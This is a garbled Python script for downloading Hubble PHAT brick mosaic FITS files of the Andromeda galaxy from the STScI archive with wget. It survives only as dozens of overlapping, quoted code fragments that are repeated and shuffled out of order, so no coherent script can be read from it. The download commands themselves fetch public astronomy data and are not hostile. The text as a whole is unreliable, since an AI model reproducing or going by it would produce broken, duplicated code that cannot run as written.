\"https://archive.stsci.edu/pub/hlsp/phat/\" # This is easier than webscraping right now. brick_dict =", "{osjoin(brickurl, wfcir_110)}\") # os.system(f\"wget {osjoin(brickurl, wfcir_160)}\") # os.system(f\"wget {osjoin(brickurl, wfcuv_275)}\") # os.system(f\"wget {osjoin(brickurl,", "from os.path import join as osjoin output = \"/home/ekoch/bigdata/ekoch/M31/PHAT/\" baseurl = \"https://archive.stsci.edu/pub/hlsp/phat/\" #", "continue os.system(f\"wget {osjoin(brickurl, file)}\") # os.system(f\"wget {osjoin(brickurl, acs_814)}\") # os.system(f\"wget {osjoin(brickurl, wfcir_110)}\") #", "12058, 2: 12073, 3: 12109, 4: 12107, 5: 12074, 6: 12105, 7: 12113,", "{i}\") brick_path = osjoin(output, f\"brick{i}\") if not os.path.exists(brick_path): os.mkdir(brick_path) os.chdir(brick_path) for file in", "import os from os.path import join as osjoin output = \"/home/ekoch/bigdata/ekoch/M31/PHAT/\" baseurl =", "5: 12074, 6: 12105, 7: 12113, 8: 12075, 9: 12057, 10: 12111, 11:", "print(f\"Downloading brick {i}\") brick_path = osjoin(output, f\"brick{i}\") if not os.path.exists(brick_path): os.mkdir(brick_path) os.chdir(brick_path) for", "is easier than webscraping right now. brick_dict = {1: 12058, 2: 12073, 3:", "= f\"{baseurl}/brick{i}\" acs_475 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f475w_v1_drz.fits\" acs_814 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f814w_v1_drz.fits\" wfcir_110 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f110w_v1_drz.fits\" wfcir_160 =", "= f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f160w_v1_drz.fits\" wfcuv_275 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f275w_v1_drz.fits\" wfcuv_336 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f336w_v1_drz.fits\" print(f\"Downloading brick {i}\") brick_path =", "= osjoin(output, f\"brick{i}\") if not os.path.exists(brick_path): os.mkdir(brick_path) os.chdir(brick_path) for file in [acs_475, acs_814,", "12105, 7: 12113, 8: 12075, 9: 12057, 10: 12111, 11: 12115, 12: 12071,", "import join as osjoin output = \"/home/ekoch/bigdata/ekoch/M31/PHAT/\" baseurl = \"https://archive.stsci.edu/pub/hlsp/phat/\" # This is", "\"/home/ekoch/bigdata/ekoch/M31/PHAT/\" baseurl = \"https://archive.stsci.edu/pub/hlsp/phat/\" # This is easier than webscraping right now. brick_dict", "f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f814w_v1_drz.fits\" wfcir_110 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f110w_v1_drz.fits\" wfcir_160 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f160w_v1_drz.fits\" wfcuv_275 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f275w_v1_drz.fits\" wfcuv_336 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f336w_v1_drz.fits\"", "f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f110w_v1_drz.fits\" wfcir_160 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f160w_v1_drz.fits\" wfcuv_275 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f275w_v1_drz.fits\" wfcuv_336 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f336w_v1_drz.fits\" else: brickurl =", "wfcir_110)}\") # os.system(f\"wget {osjoin(brickurl, wfcir_160)}\") # os.system(f\"wget {osjoin(brickurl, wfcuv_275)}\") # os.system(f\"wget {osjoin(brickurl, wfcuv_336)}\")", "# Check if we need to download again if os.path.exists(file): continue os.system(f\"wget {osjoin(brickurl,", "f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f160w_v1_drz.fits\" wfcuv_275 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f275w_v1_drz.fits\" wfcuv_336 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f336w_v1_drz.fits\" else: brickurl = f\"{baseurl}/brick{i}\" acs_475 =", "12110, 20: 12112, 21: 12055, 22: 12076, 23: 12070} for i in range(1,", "17: 12059, 18: 12108, 19: 12110, 20: 12112, 21: 12055, 22: 12076, 23:", "= f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f814w_v1_drz.fits\" wfcir_110 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f110w_v1_drz.fits\" wfcir_160 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f160w_v1_drz.fits\" wfcuv_275 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f275w_v1_drz.fits\" wfcuv_336 =", "brickurl = f\"{baseurl}/brick{i}\" acs_475 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f475w_v1_drz.fits\" acs_814 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f814w_v1_drz.fits\" wfcir_110 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f110w_v1_drz.fits\" wfcir_160", "12: 12071, 13: 12114, 14: 12072, 15: 12056, 16: 12106, 17: 12059, 18:", "os from os.path import join as osjoin output = \"/home/ekoch/bigdata/ekoch/M31/PHAT/\" baseurl = \"https://archive.stsci.edu/pub/hlsp/phat/\"", "f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f814w_v1_drz.fits\" wfcir_110 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f110w_v1_drz.fits\" wfcir_160 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f160w_v1_drz.fits\" wfcuv_275 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f275w_v1_drz.fits\" wfcuv_336 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f336w_v1_drz.fits\"", "os.system(f\"wget {osjoin(brickurl, file)}\") # os.system(f\"wget {osjoin(brickurl, acs_814)}\") # os.system(f\"wget {osjoin(brickurl, wfcir_110)}\") # os.system(f\"wget", "18: 12108, 19: 12110, 20: 12112, 21: 12055, 22: 12076, 23: 12070} for", "22: 12076, 23: 12070} for i in range(1, 24): if i < 10:", "i in range(1, 24): if i < 10: brickurl = f\"{baseurl}/brick0{i}\" acs_475 =", "12056, 16: 12106, 17: 12059, 18: 12108, 19: 12110, 20: 12112, 21: 12055,", "os.system(f\"wget {osjoin(brickurl, wfcir_110)}\") # os.system(f\"wget {osjoin(brickurl, wfcir_160)}\") # os.system(f\"wget {osjoin(brickurl, wfcuv_275)}\") # os.system(f\"wget", "output = \"/home/ekoch/bigdata/ekoch/M31/PHAT/\" baseurl = \"https://archive.stsci.edu/pub/hlsp/phat/\" # This is easier than webscraping right", "= f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f110w_v1_drz.fits\" wfcir_160 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f160w_v1_drz.fits\" wfcuv_275 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f275w_v1_drz.fits\" wfcuv_336 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f336w_v1_drz.fits\" print(f\"Downloading brick", "# os.system(f\"wget {osjoin(brickurl, wfcir_110)}\") # os.system(f\"wget {osjoin(brickurl, wfcir_160)}\") # os.system(f\"wget {osjoin(brickurl, wfcuv_275)}\") #", "os.path import join as osjoin output = \"/home/ekoch/bigdata/ekoch/M31/PHAT/\" baseurl = \"https://archive.stsci.edu/pub/hlsp/phat/\" # This", "[acs_475, acs_814, wfcir_110, wfcir_160, wfcuv_275, wfcuv_336]: # Check if we need to download", "the brick mosaics for PHAT import os from os.path import join as osjoin", "= f\"{baseurl}/brick0{i}\" acs_475 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f475w_v1_drz.fits\" acs_814 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f814w_v1_drz.fits\" wfcir_110 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f110w_v1_drz.fits\" wfcir_160 =", "12106, 17: 12059, 18: 12108, 19: 12110, 20: 12112, 21: 12055, 22: 12076,", "i < 10: brickurl = f\"{baseurl}/brick0{i}\" acs_475 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f475w_v1_drz.fits\" acs_814 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f814w_v1_drz.fits\" wfcir_110", "for i in range(1, 24): if i < 10: brickurl = f\"{baseurl}/brick0{i}\" acs_475", "acs_475 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f475w_v1_drz.fits\" acs_814 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f814w_v1_drz.fits\" wfcir_110 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f110w_v1_drz.fits\" wfcir_160 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f160w_v1_drz.fits\" wfcuv_275", "else: brickurl = f\"{baseurl}/brick{i}\" acs_475 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f475w_v1_drz.fits\" acs_814 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f814w_v1_drz.fits\" wfcir_110 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f110w_v1_drz.fits\"", "easier than webscraping right now. brick_dict = {1: 12058, 2: 12073, 3: 12109,", "14: 12072, 15: 12056, 16: 12106, 17: 12059, 18: 12108, 19: 12110, 20:", "wfcuv_275 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f275w_v1_drz.fits\" wfcuv_336 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f336w_v1_drz.fits\" print(f\"Downloading brick {i}\") brick_path = osjoin(output, f\"brick{i}\")", "os.system(f\"wget {osjoin(brickurl, acs_814)}\") # os.system(f\"wget {osjoin(brickurl, wfcir_110)}\") # os.system(f\"wget {osjoin(brickurl, wfcir_160)}\") # os.system(f\"wget", "if not os.path.exists(brick_path): os.mkdir(brick_path) os.chdir(brick_path) for file in [acs_475, acs_814, wfcir_110, wfcir_160, wfcuv_275,", "file)}\") # os.system(f\"wget {osjoin(brickurl, acs_814)}\") # os.system(f\"wget {osjoin(brickurl, wfcir_110)}\") # os.system(f\"wget {osjoin(brickurl, wfcir_160)}\")", "now. brick_dict = {1: 12058, 2: 12073, 3: 12109, 4: 12107, 5: 12074,", "brickurl = f\"{baseurl}/brick0{i}\" acs_475 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f475w_v1_drz.fits\" acs_814 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f814w_v1_drz.fits\" wfcir_110 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f110w_v1_drz.fits\" wfcir_160", "12059, 18: 12108, 19: 12110, 20: 12112, 21: 12055, 22: 12076, 23: 12070}", "brick_path = osjoin(output, f\"brick{i}\") if not os.path.exists(brick_path): os.mkdir(brick_path) os.chdir(brick_path) for file in [acs_475,", "< 10: brickurl = f\"{baseurl}/brick0{i}\" acs_475 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f475w_v1_drz.fits\" acs_814 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f814w_v1_drz.fits\" wfcir_110 =", "wfcuv_275, wfcuv_336]: # Check if we need to download again if os.path.exists(file): continue", "24): if i < 10: brickurl = f\"{baseurl}/brick0{i}\" acs_475 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f475w_v1_drz.fits\" acs_814 =", "f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f275w_v1_drz.fits\" wfcuv_336 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f336w_v1_drz.fits\" else: brickurl = f\"{baseurl}/brick{i}\" acs_475 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f475w_v1_drz.fits\" acs_814 =", "to download again if os.path.exists(file): continue os.system(f\"wget {osjoin(brickurl, file)}\") # os.system(f\"wget {osjoin(brickurl, acs_814)}\")", "os.path.exists(file): continue os.system(f\"wget {osjoin(brickurl, file)}\") # os.system(f\"wget {osjoin(brickurl, acs_814)}\") # os.system(f\"wget {osjoin(brickurl, wfcir_110)}\")", "if os.path.exists(file): continue os.system(f\"wget {osjoin(brickurl, file)}\") # os.system(f\"wget {osjoin(brickurl, acs_814)}\") # os.system(f\"wget {osjoin(brickurl,", "in [acs_475, acs_814, wfcir_110, wfcir_160, wfcuv_275, wfcuv_336]: # Check if we need to", "12057, 10: 12111, 11: 12115, 12: 12071, 13: 12114, 14: 12072, 15: 12056,", "20: 12112, 21: 12055, 22: 12076, 23: 12070} for i in range(1, 24):", "6: 12105, 7: 12113, 8: 12075, 9: 12057, 10: 12111, 11: 12115, 12:", "wfcir_110 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f110w_v1_drz.fits\" wfcir_160 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f160w_v1_drz.fits\" wfcuv_275 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f275w_v1_drz.fits\" wfcuv_336 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f336w_v1_drz.fits\" print(f\"Downloading", "f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f336w_v1_drz.fits\" else: brickurl = f\"{baseurl}/brick{i}\" acs_475 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f475w_v1_drz.fits\" acs_814 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f814w_v1_drz.fits\" wfcir_110 =", "12071, 13: 12114, 14: 12072, 15: 12056, 16: 12106, 17: 12059, 18: 12108,", "# os.system(f\"wget {osjoin(brickurl, acs_814)}\") # os.system(f\"wget {osjoin(brickurl, wfcir_110)}\") # os.system(f\"wget {osjoin(brickurl, wfcir_160)}\") #", "need to download again if os.path.exists(file): continue os.system(f\"wget {osjoin(brickurl, file)}\") # os.system(f\"wget {osjoin(brickurl,", "12055, 22: 12076, 23: 12070} for i in range(1, 24): if i <", "= f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f275w_v1_drz.fits\" wfcuv_336 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f336w_v1_drz.fits\" print(f\"Downloading brick {i}\") brick_path = osjoin(output, f\"brick{i}\") if", "acs_475 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f475w_v1_drz.fits\" acs_814 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f814w_v1_drz.fits\" wfcir_110 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f110w_v1_drz.fits\" wfcir_160 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f160w_v1_drz.fits\" wfcuv_275", "acs_814, wfcir_110, wfcir_160, wfcuv_275, wfcuv_336]: # Check if we need to download again", "f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f160w_v1_drz.fits\" wfcuv_275 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f275w_v1_drz.fits\" wfcuv_336 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f336w_v1_drz.fits\" print(f\"Downloading brick {i}\") brick_path = osjoin(output,", "12072, 15: 12056, 16: 12106, 17: 12059, 18: 12108, 19: 12110, 20: 12112,", "right now. brick_dict = {1: 12058, 2: 12073, 3: 12109, 4: 12107, 5:", "{osjoin(brickurl, acs_814)}\") # os.system(f\"wget {osjoin(brickurl, wfcir_110)}\") # os.system(f\"wget {osjoin(brickurl, wfcir_160)}\") # os.system(f\"wget {osjoin(brickurl,", "{osjoin(brickurl, file)}\") # os.system(f\"wget {osjoin(brickurl, acs_814)}\") # os.system(f\"wget {osjoin(brickurl, wfcir_110)}\") # os.system(f\"wget {osjoin(brickurl,", "osjoin output = \"/home/ekoch/bigdata/ekoch/M31/PHAT/\" baseurl = \"https://archive.stsci.edu/pub/hlsp/phat/\" # This is easier than webscraping", "as osjoin output = \"/home/ekoch/bigdata/ekoch/M31/PHAT/\" baseurl = \"https://archive.stsci.edu/pub/hlsp/phat/\" # This is easier than", "wfcir_110 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f110w_v1_drz.fits\" wfcir_160 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f160w_v1_drz.fits\" wfcuv_275 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f275w_v1_drz.fits\" wfcuv_336 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f336w_v1_drz.fits\" else:", "10: brickurl = f\"{baseurl}/brick0{i}\" acs_475 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f475w_v1_drz.fits\" acs_814 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f814w_v1_drz.fits\" wfcir_110 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f110w_v1_drz.fits\"", "f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f275w_v1_drz.fits\" wfcuv_336 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f336w_v1_drz.fits\" print(f\"Downloading brick {i}\") brick_path = osjoin(output, f\"brick{i}\") if not", "if we need to download again if os.path.exists(file): continue os.system(f\"wget {osjoin(brickurl, file)}\") #", "12070} for i in range(1, 24): if i < 10: brickurl = f\"{baseurl}/brick0{i}\"", "wfcuv_336]: # Check if we need to download again if os.path.exists(file): continue os.system(f\"wget", "brick_dict = {1: 12058, 2: 12073, 3: 12109, 4: 12107, 5: 12074, 6:", "f\"{baseurl}/brick0{i}\" acs_475 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f475w_v1_drz.fits\" acs_814 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f814w_v1_drz.fits\" wfcir_110 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f110w_v1_drz.fits\" wfcir_160 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f160w_v1_drz.fits\"", "12107, 5: 12074, 6: 12105, 7: 12113, 8: 12075, 9: 12057, 10: 12111,", "12115, 12: 12071, 13: 12114, 14: 12072, 15: 12056, 16: 12106, 17: 12059,", "= \"/home/ekoch/bigdata/ekoch/M31/PHAT/\" baseurl = \"https://archive.stsci.edu/pub/hlsp/phat/\" # This is easier than webscraping right now.", "acs_814)}\") # os.system(f\"wget {osjoin(brickurl, wfcir_110)}\") # os.system(f\"wget {osjoin(brickurl, wfcir_160)}\") # os.system(f\"wget {osjoin(brickurl, wfcuv_275)}\")", "19: 12110, 20: 12112, 21: 12055, 22: 12076, 23: 12070} for i in", "= \"https://archive.stsci.edu/pub/hlsp/phat/\" # This is easier than webscraping right now. brick_dict = {1:", "# Scrap all the brick mosaics for PHAT import os from os.path import", "brick {i}\") brick_path = osjoin(output, f\"brick{i}\") if not os.path.exists(brick_path): os.mkdir(brick_path) os.chdir(brick_path) for file", "download again if os.path.exists(file): continue os.system(f\"wget {osjoin(brickurl, file)}\") # os.system(f\"wget {osjoin(brickurl, acs_814)}\") #", "12112, 21: 12055, 22: 12076, 23: 12070} for i in range(1, 24): if", "= f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f475w_v1_drz.fits\" acs_814 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f814w_v1_drz.fits\" wfcir_110 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f110w_v1_drz.fits\" wfcir_160 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f160w_v1_drz.fits\" wfcuv_275 =", "osjoin(output, f\"brick{i}\") if not os.path.exists(brick_path): os.mkdir(brick_path) os.chdir(brick_path) for file in [acs_475, acs_814, wfcir_110,", "in range(1, 24): if i < 10: brickurl = f\"{baseurl}/brick0{i}\" acs_475 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f475w_v1_drz.fits\"", "wfcuv_275 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f275w_v1_drz.fits\" wfcuv_336 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f336w_v1_drz.fits\" else: brickurl = f\"{baseurl}/brick{i}\" acs_475 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f475w_v1_drz.fits\"", "for file in [acs_475, acs_814, wfcir_110, wfcir_160, wfcuv_275, wfcuv_336]: # Check if we", "4: 12107, 5: 12074, 6: 12105, 7: 12113, 8: 12075, 9: 12057, 10:", "This is easier than webscraping right now. brick_dict = {1: 12058, 2: 12073,", "we need to download again if os.path.exists(file): continue os.system(f\"wget {osjoin(brickurl, file)}\") # os.system(f\"wget", "again if os.path.exists(file): continue os.system(f\"wget {osjoin(brickurl, file)}\") # os.system(f\"wget {osjoin(brickurl, acs_814)}\") # os.system(f\"wget", "wfcuv_336 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f336w_v1_drz.fits\" else: brickurl = f\"{baseurl}/brick{i}\" acs_475 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f475w_v1_drz.fits\" acs_814 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f814w_v1_drz.fits\"", "Scrap all the brick mosaics for PHAT import os from os.path import join", "wfcir_110, wfcir_160, wfcuv_275, wfcuv_336]: # Check if we need to download again if", "f\"{baseurl}/brick{i}\" acs_475 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f475w_v1_drz.fits\" acs_814 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f814w_v1_drz.fits\" wfcir_110 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f110w_v1_drz.fits\" wfcir_160 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f160w_v1_drz.fits\"", "than webscraping right now. brick_dict = {1: 12058, 2: 12073, 3: 12109, 4:", "f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f475w_v1_drz.fits\" acs_814 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f814w_v1_drz.fits\" wfcir_110 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f110w_v1_drz.fits\" wfcir_160 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f160w_v1_drz.fits\" wfcuv_275 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f275w_v1_drz.fits\"", "9: 12057, 10: 12111, 11: 12115, 12: 12071, 13: 12114, 14: 12072, 15:", "join as osjoin output = \"/home/ekoch/bigdata/ekoch/M31/PHAT/\" baseurl = \"https://archive.stsci.edu/pub/hlsp/phat/\" # This is easier", "wfcir_160 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f160w_v1_drz.fits\" wfcuv_275 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f275w_v1_drz.fits\" wfcuv_336 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f336w_v1_drz.fits\" else: brickurl = f\"{baseurl}/brick{i}\"", "15: 12056, 16: 12106, 17: 12059, 18: 12108, 19: 12110, 20: 12112, 21:", "acs_814 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f814w_v1_drz.fits\" wfcir_110 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f110w_v1_drz.fits\" wfcir_160 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f160w_v1_drz.fits\" wfcuv_275 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f275w_v1_drz.fits\" wfcuv_336", "f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f110w_v1_drz.fits\" wfcir_160 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f160w_v1_drz.fits\" wfcuv_275 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f275w_v1_drz.fits\" wfcuv_336 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f336w_v1_drz.fits\" print(f\"Downloading brick {i}\")", "f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f336w_v1_drz.fits\" print(f\"Downloading brick {i}\") brick_path = osjoin(output, f\"brick{i}\") if not os.path.exists(brick_path): os.mkdir(brick_path) os.chdir(brick_path)", "wfcir_160, wfcuv_275, wfcuv_336]: # Check if we need to download again if os.path.exists(file):", "12108, 19: 12110, 20: 12112, 21: 12055, 22: 12076, 23: 12070} for i", "Check if we need to download again if os.path.exists(file): continue os.system(f\"wget {osjoin(brickurl, file)}\")", "os.chdir(brick_path) for file in [acs_475, acs_814, wfcir_110, wfcir_160, wfcuv_275, wfcuv_336]: # Check if", "= f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f475w_v1_drz.fits\" acs_814 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f814w_v1_drz.fits\" wfcir_110 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f110w_v1_drz.fits\" wfcir_160 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f160w_v1_drz.fits\" wfcuv_275 =", "acs_814 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b0{i}_f814w_v1_drz.fits\" wfcir_110 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f110w_v1_drz.fits\" wfcir_160 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b0{i}_f160w_v1_drz.fits\" wfcuv_275 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f275w_v1_drz.fits\" wfcuv_336", "mosaics for PHAT import os from os.path import join as osjoin output =", "os.path.exists(brick_path): os.mkdir(brick_path) os.chdir(brick_path) for file in [acs_475, acs_814, wfcir_110, wfcir_160, wfcuv_275, wfcuv_336]: #", "12076, 23: 12070} for i in range(1, 24): if i < 10: brickurl", "12074, 6: 12105, 7: 12113, 8: 12075, 9: 12057, 10: 12111, 11: 12115,", "= f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f275w_v1_drz.fits\" wfcuv_336 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b0{i}_f336w_v1_drz.fits\" else: brickurl = f\"{baseurl}/brick{i}\" acs_475 = f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f475w_v1_drz.fits\" acs_814", "12113, 8: 12075, 9: 12057, 10: 12111, 11: 12115, 12: 12071, 13: 12114,", "= f\"hlsp_phat_hst_acs-wfc_{brick_dict[i]}-m31-b{i}_f814w_v1_drz.fits\" wfcir_110 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f110w_v1_drz.fits\" wfcir_160 = f\"hlsp_phat_hst_wfc3-ir_{brick_dict[i]}-m31-b{i}_f160w_v1_drz.fits\" wfcuv_275 = f\"hlsp_phat_hst_wfc3-uvis_{brick_dict[i]}-m31-b{i}_f275w_v1_drz.fits\" wfcuv_336 =", "12114, 14: 12072, 15: 12056, 16: 12106, 17: 12059, 18: 12108, 19: 12110,", "12073, 3: 12109, 4: 12107, 5: 12074, 6: 12105, 7: 12113, 8: 12075,", "23: 12070} for i in range(1, 24): if i < 10: brickurl =", "f\"brick{i}\") if not os.path.exists(brick_path): os.mkdir(brick_path) 